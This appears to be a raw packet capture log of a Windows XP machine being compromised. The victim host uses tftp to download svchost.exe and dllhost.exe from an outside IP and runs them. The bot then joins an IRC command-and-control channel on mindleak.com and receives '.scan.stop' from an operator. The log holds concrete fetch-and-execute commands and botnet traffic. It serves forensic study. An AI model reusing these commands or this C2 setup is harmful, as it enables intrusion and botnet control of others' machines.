VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> VICTIM: tftp -i 74.214.47.11 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: Transfer successful: 20959 bytes in 3 seconds, 6986 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: tftp -i 74.214.47.11 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: Transfer successful: 20959 bytes in 4 seconds, 5239 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: C:\\WINDOWS\\system32> VICTIM: USER yahsdrfrt yahsdrfrt yahsdrfrt :dETOX/0x91 (win32)NICK yahsdrfrt ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response ATTACKER: :mindleak.com 001 yahsdrfrt :Welcome to the Internet Relay Network yahsdrfrt:mindleak.com 002 yahsdrfrt :Your host is localhost, running version 2.9/hybrid-6.4NOTICE yahsdrfrt :*** Your host is localhost, running version 2.9/hybrid-6.4:mindleak.com 003 yahsdrfrt :This server was created Wed Aug 16 2000 at 17:02:43 GMT:mindleak.com 004 yahsdrfrt mindleak.com 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:mindleak.com 251 yahsdrfrt :There are 2 users and 0 invisible on 1 servers:mindleak.com 255 yahsdrfrt :I have 2 clients and 0 servers:mindleak.com 265 yahsdrfrt :Current local users: 2 Max: 2:mindleak.com 266 yahsdrfrt :Current global users: 2 Max: 2:mindleak.com 250 yahsdrfrt :Highest connection count: 2 (2 clients) (2 since server was (re)started):mindleak.com 375 yahsdrfrt :- mindleak.com Message of the Day -:mindleak.com 372 yahsdrfrt :- omgrofl!:mindleak.com 376 yahsdrfrt :End of /MOTD command. VICTIM: JOIN #9# g3t0u7 ATTACKER: :yahsdrfrt!yahsdrfrt@192.168.1.117 JOIN :#9# g3t0u7 VICTIM: MODE yahsdrfrt +i ATTACKER: :mindleak.com MODE #9# g3t0u7 +nt:mindleak.com 353 yahsdrfrt = #9# g3t0u7 :@Marvin yahsdrfrt:mindleak.com 366 yahsdrfrt #9# g3t0u7 :End of /NAMES list.:mindleak.com 332 yahsdrfrt #9# g3t0u7 :.scan.stop:mindleak.com 333 yahsdrfrt #9# g3t0u7 yahsdrfrt 1232371645:Marvin!~Marvin@mindleak.com PRIVMSG #9# g3t0u7 :.scan.stop VICTIM: JOIN #9# g3t0u7 ATTACKER: :yahsdrfrt!yahsdrfrt@192.168.1.117 JOIN :#9# g3t0u7 ATTACKER: :mindleak.com MODE #9# g3t0u7 +nt:mindleak.com 353 yahsdrfrt = #9# g3t0u7 :@Marvin yahsdrfrt:mindleak.com 366 yahsdrfrt #9# g3t0u7 :End of /NAMES list.:mindleak.com 332 yahsdrfrt #9# g3t0u7 :.scan.stop:mindleak.com 333 yahsdrfrt #9# g3t0u7 yahsdrfrt 1232371646:Marvin!~Marvin@mindleak.com PRIVMSG #9# g3t0u7 :.scan.stop VICTIM: USER yahsdrfrt yahsdrfrt yahsdrfrt :dETOX/0x91 (win32)NICK yahsdrfrt ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response ATTACKER: :mindleak.com 001 yahsdrfrt :Welcome to the Internet Relay Network yahsdrfrt:mindleak.com 002 yahsdrfrt :Your host is localhost, running version 2.9/hybrid-6.4NOTICE yahsdrfrt :*** Your host is localhost, running version 2.9/hybrid-6.4:mindleak.com 003 yahsdrfrt :This server was created Wed Aug 16 2000 at 17:02:43 GMT:mindleak.com 004 yahsdrfrt mindleak.com 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:mindleak.com 251 yahsdrfrt :There are 2 users and 0 invisible on 1 servers:mindleak.com 255 yahsdrfrt :I have 2 clients and 0 servers:mindleak.com 265 yahsdrfrt :Current local users: 2 Max: 2:mindleak.com 266 yahsdrfrt :Current global users: 2 Max: 2:mindleak.com 250 yahsdrfrt :Highest connection count: 2 (2 clients) (2 since server was (re)started):mindleak.com 375 yahsdrfrt :- mindleak.com Message of the Day -:mindleak.com 372 yahsdrfrt :- omgrofl!:mindleak.com 376 yahsdrfrt :End of /MOTD command. VICTIM: JOIN #9# g3t0u7 VICTIM: USER lvnfvfrhq lvnfvfrhq lvnfvfrhq :dETOX/0x91 (win32)NICK lvnfvfrhq ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response ATTACKER: :mindleak.com 001 lvnfvfrhq :Welcome to the Internet Relay Network lvnfvfrhq:mindleak.com 002 lvnfvfrhq :Your host is localhost, running version 2.9/hybrid-6.4NOTICE lvnfvfrhq :*** Your host is localhost, running version 2.9/hybrid-6.4:mindleak.com 003 lvnfvfrhq :This server was created Wed Aug 16 2000 at 17:02:43 GMT:mindleak.com 004 lvnfvfrhq mindleak.com 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:mindleak.com 251 lvnfvfrhq :There are 2 users and 0 invisible on 1 servers:mindleak.com 255 lvnfvfrhq :I have 2 clients and 0 servers:mindleak.com 265 lvnfvfrhq :Current local users: 2 Max: 2:mindleak.com 266 lvnfvfrhq :Current global users: 2 Max: 2:mindleak.com 250 lvnfvfrhq :Highest connection count: 2 (2 clients) (2 since server was (re)started):mindleak.com 375 lvnfvfrhq :- mindleak.com Message of the Day -:mindleak.com 372 lvnfvfrhq :- omgrofl!:mindleak.com 376 lvnfvfrhq :End of /MOTD command. VICTIM: JOIN #9# g3t0u7 ATTACKER: :lvnfvfrhq!lvnfvfrhq@192.168.1.117 JOIN :#9# g3t0u7 VICTIM: MODE lvnfvfrhq +i ATTACKER: :mindleak.com MODE #9# g3t0u7 +nt:mindleak.com 353 lvnfvfrhq = #9# g3t0u7 :@Marvin lvnfvfrhq:mindleak.com 366 lvnfvfrhq #9# g3t0u7 :End of /NAMES list.:mindleak.com 332 lvnfvfrhq #9# g3t0u7 :.scan.stop:mindleak.com 333 lvnfvfrhq #9# g3t0u7 lvnfvfrhq 1232371975:Marvin!~Marvin@mindleak.com PRIVMSG #9# g3t0u7 :.scan.stop VICTIM: JOIN #9# g3t0u7 ATTACKER: :lvnfvfrhq!lvnfvfrhq@192.168.1.117 JOIN :#9# g3t0u7 ATTACKER: :mindleak.com MODE #9# g3t0u7 +nt:mindleak.com 353 lvnfvfrhq = #9# g3t0u7 :@Marvin lvnfvfrhq:mindleak.com 366 lvnfvfrhq #9# g3t0u7 :End of /NAMES list.:mindleak.com 332 lvnfvfrhq #9# g3t0u7 :.scan.stop:mindleak.com 333 lvnfvfrhq #9# g3t0u7 lvnfvfrhq 1232371976:Marvin!~Marvin@mindleak.com PRIVMSG #9# g3t0u7 :.scan.stop